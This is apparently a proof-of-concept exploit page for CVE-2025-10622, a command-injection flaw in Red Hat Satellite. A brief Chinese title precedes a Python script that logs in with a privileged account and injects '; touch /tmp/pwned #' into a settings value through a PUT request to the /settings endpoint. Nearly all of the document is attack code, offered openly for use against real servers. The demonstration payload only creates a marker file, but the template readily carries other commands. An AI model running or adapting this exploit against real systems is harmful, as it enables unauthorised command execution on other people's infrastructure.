CVE-2025-10622 Red Hat Satellite命令注入漏洞

# CVE-2025-10622 PoC - Red Hat Satellite Command Injection # Requirements: Valid account with edit_settings permission import requests import json TARGET = "https://satellite.example.com" USERNAME = "attacker" PASSWORD = "password" def login(): """Authenticate and get session cookie""" session = requests.Session() login_url = f"{TARGET}/users/login" data = { "username[login]": USERNAME, "password": PASSWORD } session.post(login_url, data=data) return session def exploit(session): """Inject malicious command via settings parameter""" settings_url = f"{TARGET}/settings" # Malicious payload - injects command via setting parameter # Replace 'id' with actual setting ID payload = { "setting": { "id": 1, "value": "; touch /tmp/pwned #" } } response = session.put(settings_url, json=payload) return response.status_code == 200 if __name__ == "__main__": print("[*] CVE-2025-10622 PoC") print("[*] Target:", TARGET) session = login() if exploit(session): print("[+] Command injection successful") print("[+] Check /tmp/pwned on target system") else: print("[-] Exploitation failed")